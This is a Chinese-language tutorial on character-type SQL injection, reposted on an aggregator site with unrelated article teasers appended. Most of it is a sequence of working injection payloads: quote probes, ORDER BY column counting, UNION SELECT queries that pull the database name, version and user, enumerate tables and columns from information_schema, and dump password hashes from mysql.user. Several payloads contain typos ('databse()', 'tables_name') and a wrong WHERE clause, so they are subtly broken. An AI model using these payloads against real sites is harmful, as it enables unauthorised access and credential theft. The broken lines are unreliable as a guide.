sql注入之字符型注入

news/2025/2/12 13:59:18/

字符型注入

字符型注入就是用户在前端的输入未经过过滤或处理用户输入的字符串插入到后端数据库查询语句,后端的SQL查询语句将参数值用引号或者括号等特殊符号包裹起来,改变了原有的查询语句,从而形成字符型注入。

具体操作

1、判断是否存在注入点

?id=1 and 1=1还是?id = 1 and 1=2都能够正常显示出页面,所以确定他是字符型注入

?id=1' and 1=1还是?id = 1' and 1=2都能够正常显示出页面,所以确定他是字符型注入

?id=1" and 1=1还是?id = 1" and 1=2都能够正常显示出页面,所以确定他是字符型注入

2、判断字段数order by N

正常的查询列数的语句为

1' order by 1--+

1' order by 2--+

判断出字段数为:2

SELECT * FROM users ORDER BY 4 DESC

order by 后边跟的是SQL语句查询的列数的数字 如果超过了 就报错 Unknown column '4' in 'order clause'
重点:order by是对数据库中返回结果的排序,而不是对数据库的表里面列的排序。
order by 1的含义是排序第一个栏位,order by 2排序第二个栏位。

当order by 3时排序第三个栏位回显正常,而order by 4回显错误,可以判断出当前sql语句向该表查询了三个字段

3、找出可以回显的字段

?id=1' union select 1,2--+;1,2是一个占位回显,判断当前那个列可以回显出内容

4、查看当前数据库、数据库用户以及数据库版本

-1'union select 1,databse()--+

-1' union select 1,version()--+

-1' union  select 1,user()--+

5、获取数据库的表名

-1'    union  select 1,group_concat(table_name) from  information_schema.tables where table_name=databse()--+

6、获取表的字段名

-1'    union  select 1,group_concat(column_name) from  information_schema.columns where tables_name=users--+
7、猜root用户

-1' union select 1,group_concat(user,authentication_string) from mysql.user--+

重点:为什么要用mysql.user因为user表可能可能有多个,所以要指定数据库名。


http://www.ppmy.cn/news/1339044.html

相关文章

MyBatis概述与MyBatis入门程序

MyBatis概述与MyBatis入门程序 一、MyBatis概述二、入门程序1.准备开发环境(1)准备数据库(2)创建一个maven项目 2.编写代码(1)打包方式和引入依赖(2)新建mybatis-config.xml配置⽂件…

Security ❀ TCP异常报文详解

文章目录 1. TCP Out-Of-Order2. TCP Previous Segment Lost3. TCP Retransmission4. TCP Dup Ack XXX#X5. TCP Windows Update6. TCP Previous segment not captured7. 异常案例分析 TCP协议中seq和ack seq的联系: id4的http请求报文由客户端发向服务器&#xff0…

微服务—Docker

目录 初识Docker Docker与虚拟机的区别 镜像与容器 Docker架构 常见Docker命令 镜像命令 容器命令 数据卷挂载 直接挂载 初识Docker 在项目部署的过程中,如果出现大型项目组件较多,运行环境也较为复杂的情况,部署时会碰到一些问题&…

Git--07--GitExtension

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 一、GitExtension下载GitExtension官网下载教程 二、GitExtension安装三、GitExtension配置四、GitExtension使用 一、GitExtension下载 官网下载: http…

国外知名的农业机器人公司

从高科技温室到云播种,农业机器人如何帮助农民填补劳动力短缺以及超市货架的短缺。 概要 “高科技农业”并不矛盾。当代农业经营更像是硅谷,而不是美国哥特式,拥有控制灌溉的应用程序、驾驶拖拉机的 GPS 系统和监控牲畜的带有 RFID 芯片的耳…

Apache Paimon基础记录

基本都是在官网的学习,简单记录一下其中的核心特点 Apache Paimon 官网 Apache Paimon | Apache Paimon 根据官网介绍去快速了解 paimon 是用来设计做什么,可以做什么,对比与其他数据湖有什么特点,如何使用 Paimon 特点 前身…

git push后,如何撤销git log上的错误注释

修改了本地的代码,执行了下面的操作,提交之后,怎么样修改 git add ********(文件名)//git add 添加修改文件名之后 git commit //git commit 在当前分支提交,编写提交注释 git push //git push 提交修…

通过 React 来构建界面

1- 通过 React 来构建界面 第1步:下载所需要的二个库文件至本地,如果需要加载指定版本的 react 和 react-dom,可以把 18 替换成所需加载的版本号。 react.js:React中的核心库文件。 // 开发版 https://unpkg.com/react18/umd/rea…